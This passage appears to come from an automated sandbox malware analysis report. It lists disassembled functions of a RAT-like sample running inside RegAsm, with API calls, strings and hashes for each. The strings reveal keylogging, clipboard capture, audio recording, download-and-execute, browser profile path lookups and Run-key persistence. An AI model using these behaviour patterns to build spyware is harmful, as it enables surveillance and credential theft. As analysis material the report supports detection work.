                        • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                        • String ID:
                        • API String ID: 1761009282-0
                        • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                        • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                        • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                        • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                        Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                        Download Yara Rule
                        APIs
                        • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorHandling__start
                        • String ID: pow
                        • API String ID: 3213639722-2276729525
                        • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                        • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                        • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                        • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                        Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                        • __Init_thread_footer.LIBCMT ref: 0040B797
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Init_thread_footer__onexit
                        • String ID: [End of clipboard]$[Text copied to clipboard]
                        • API String ID: 1881088180-3686566968
                        • Opcode ID: fb1c81892c2e036c5d6c31f086f493dd212476ae9b22afc1b3a562318c09d8ed
                        • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                        • Opcode Fuzzy Hash: fb1c81892c2e036c5d6c31f086f493dd212476ae9b22afc1b3a562318c09d8ed
                        • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                        Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: ACP$OCP
                        • API String ID: 0-711371036
                        • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                        • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                        • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                        • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                        Function 00449BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                        Download Yara Rule
                        APIs
                        • GetStdHandle.KERNEL32(000000F6), ref: 00449C3C
                        • GetFileType.KERNEL32 ref: 00449C4E
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FileHandleType
                        • String ID: P
                        • API String ID: 3000768030-290524615
                        • Opcode ID: b34b3b4b83b21344277d15047b5fba51ecc245e821c78927fd7bd009bf1ff183
                        • Instruction ID: 67a772f1b96ce562b336c628e562ce1c63ba93f9b2d947f4b03656f810f331b8
                        • Opcode Fuzzy Hash: b34b3b4b83b21344277d15047b5fba51ecc245e821c78927fd7bd009bf1ff183
                        • Instruction Fuzzy Hash: E61160315047524AE7304E3E8CC86677AD5AB56335B380B2FD5B6876F1C638DC82AA49
                        Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                        Download Yara Rule
                        APIs
                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                        Strings
                        • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LocalTime
                        • String ID: KeepAlive | Enabled | Timeout:
                        • API String ID: 481472006-1507639952
                        • Opcode ID: 889eda472554f13da5ed19224a724834adbe5322b7fc00b68ad75e81c6f62207
                        • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                        • Opcode Fuzzy Hash: 889eda472554f13da5ed19224a724834adbe5322b7fc00b68ad75e81c6f62207
                        • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                        Function 0043C0F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID: P
                        • API String ID: 269201875-290524615
                        • Opcode ID: 02760b80b86df20b895d786181226116df47ae15e5a50630a9576685b8d3801b
                        • Instruction ID: 33e0fe0941749f3336bda6be3c0f63978f5ebcf9e4adac19a04b7d23778c801b
                        • Opcode Fuzzy Hash: 02760b80b86df20b895d786181226116df47ae15e5a50630a9576685b8d3801b
                        • Instruction Fuzzy Hash: A511D371A002104BEF209F39AC81B567294A714734F14162BF929EA2D5D6BCD8815F89
                        Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                        Download Yara Rule
                        APIs
                        • Sleep.KERNEL32 ref: 00416640
                        • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DownloadFileSleep
                        • String ID: !D@
                        • API String ID: 1931167962-604454484
                        • Opcode ID: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                        • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                        • Opcode Fuzzy Hash: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                        • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                        Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                        Download Yara Rule
                        APIs
                        • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LocalTime
                        • String ID: | $%02i:%02i:%02i:%03i
                        • API String ID: 481472006-2430845779
                        • Opcode ID: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                        • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                        • Opcode Fuzzy Hash: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                        • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                        Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                        Download Yara Rule
                        APIs
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: alarm.wav$hYG
                        • API String ID: 1174141254-2782910960
                        • Opcode ID: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                        • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                        • Opcode Fuzzy Hash: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                        • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                        Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • CloseHandle.KERNEL32(?), ref: 0040B0B4
                        • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                        • String ID: Online Keylogger Stopped
                        • API String ID: 1623830855-1496645233
                        • Opcode ID: e1143dfe4ebbdf49b26d73ef465cebd6e20b11e5a8ab35f70cc7b7b67a3e30d6
                        • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                        • Opcode Fuzzy Hash: e1143dfe4ebbdf49b26d73ef465cebd6e20b11e5a8ab35f70cc7b7b67a3e30d6
                        • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                        Function 00449A5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                        • DeleteCriticalSection.KERNEL32(?,?,?,?,?,0046EB30,00000010,0043C1D5), ref: 00449ABE
                        • _free.LIBCMT ref: 00449ACC
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CriticalSection$DeleteEnter_free
                        • String ID: P
                        • API String ID: 1836352639-290524615
                        • Opcode ID: 54980ce14eb4704881cc4366b9e02da215daae199b46963b1b84cecc0170e34b
                        • Instruction ID: d8668749b8f053f3b87a5db4b07a71174a174bb0d30b2be9e7ca2d93a8738622
                        • Opcode Fuzzy Hash: 54980ce14eb4704881cc4366b9e02da215daae199b46963b1b84cecc0170e34b
                        • Instruction Fuzzy Hash: 491161315002149FE720DFA9D846B5D73B0FB04315F10455AE959AB2E6CBBCEC82DB0D
                        Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                        Download Yara Rule
                        APIs
                        • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
                        • waveInAddBuffer.WINMM(?,00000020), ref: 0040185F
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: wave$BufferHeaderPrepare
                        • String ID: XMG
                        • API String ID: 2315374483-813777761
                        • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                        • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                        • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                        • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                        Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LocaleValid
                        • String ID: IsValidLocaleName$JD
                        • API String ID: 1901932003-2234456777
                        • Opcode ID: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                        • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                        • Opcode Fuzzy Hash: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                        • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                        Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                        Download Yara Rule
                        APIs
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: UserProfile$\AppData\Local\Google\Chrome\
                        • API String ID: 1174141254-4188645398
                        • Opcode ID: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                        • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                        • Opcode Fuzzy Hash: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                        • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                        Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                        Download Yara Rule
                        APIs
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                        • API String ID: 1174141254-2800177040
                        • Opcode ID: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                        • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                        • Opcode Fuzzy Hash: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                        • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                        Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                        Download Yara Rule
                        APIs
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: AppData$\Opera Software\Opera Stable\
                        • API String ID: 1174141254-1629609700
                        • Opcode ID: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                        • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                        • Opcode Fuzzy Hash: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                        • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                        Function 004437E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID: 3Q
                        • API String ID: 269201875-204902606
                        • Opcode ID: 0ad43b1214ad8572508d9786c92e0b088e9d3dbafa2474dd36ac496255489d68
                        • Instruction ID: d76a88c3c7e0b504eff74fb84b9f6db8507cba8af1ea4ea387731c34734dfbbf
                        • Opcode Fuzzy Hash: 0ad43b1214ad8572508d9786c92e0b088e9d3dbafa2474dd36ac496255489d68
                        • Instruction Fuzzy Hash: AAE0E562A0182040F675BA3F2D05B9B49C5DB8173BF11433BF538861C1DFAC4A4251AE
                        Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                        Download Yara Rule
                        APIs
                        • GetKeyState.USER32(00000011), ref: 0040B64B
                          • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                          • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                          • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                          • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                          • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                          • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                          • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                        • String ID: [AltL]$[AltR]
                        • API String ID: 2738857842-2658077756
                        • Opcode ID: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                        • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                        • Opcode Fuzzy Hash: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                        • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                        Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                        Download Yara Rule
                        APIs
                        • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                        • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: uD
                        • API String ID: 0-2547262877
                        • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                        • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                        • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                        • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                        Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                        Download Yara Rule
                        APIs
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExecuteShell
                        • String ID: !D@$open
                        • API String ID: 587946157-1586967515
                        • Opcode ID: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                        • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                        • Opcode Fuzzy Hash: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                        • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                        Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                        Download Yara Rule
                        APIs
                        • GetKeyState.USER32(00000012), ref: 0040B6A5
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: State
                        • String ID: [CtrlL]$[CtrlR]
                        • API String ID: 1649606143-2446555240
                        • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                        • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                        • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                        • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                        Function 0043C1C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00449A5C: DeleteCriticalSection.KERNEL32(?,?,?,?,?,0046EB30,00000010,0043C1D5), ref: 00449ABE
                          • Part of subcall function 00449A5C: _free.LIBCMT ref: 00449ACC
                          • Part of subcall function 00449AFC: _free.LIBCMT ref: 00449B1E
                        • DeleteCriticalSection.KERNEL32(0050E6C0), ref: 0043C1F1
                        • _free.LIBCMT ref: 0043C205
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$CriticalDeleteSection
                        • String ID: P
                        • API String ID: 1906768660-290524615
                        • Opcode ID: e906819441e1cb781d28dd4a1ea52947b9d71dae153e88ad857ccbc322e7c3cc
                        • Instruction ID: 43a050214315618beeb9c81765b0605937ca417edd614e55d144c525631042cd
                        • Opcode Fuzzy Hash: e906819441e1cb781d28dd4a1ea52947b9d71dae153e88ad857ccbc322e7c3cc
                        • Instruction Fuzzy Hash: 69E04F329145108FEB717F6AFD8595A73E49B4D325B11082FFC0DA316ACA6DAC809B8D
                        Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                        • __Init_thread_footer.LIBCMT ref: 00410F29
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Init_thread_footer__onexit
                        • String ID: ,kG$0kG
                        • API String ID: 1881088180-2015055088
                        • Opcode ID: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                        • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                        • Opcode Fuzzy Hash: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                        • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                        Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                        Download Yara Rule
                        APIs
                        Strings
                        • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DeleteOpenValue
                        • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                        • API String ID: 2654517830-1051519024
                        • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                        • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                        • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                        • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                        Function 0040B869 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                        Download Yara Rule
                        APIs
                        • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B876
                        • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8A1
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DeleteDirectoryFileRemove
                        • String ID: pth_unenc
                        • API String ID: 3325800564-4028850238
                        • Opcode ID: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                        • Instruction ID: 8281cfb8de641f04b50c20d0c8e921e0d4b8d2282f61a3be21f0805504db5409
                        • Opcode Fuzzy Hash: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                        • Instruction Fuzzy Hash: 45E046321007119BCB14AB258C48AD6339CAF0031AF00486FA492A32A1DF38AC09CAA8
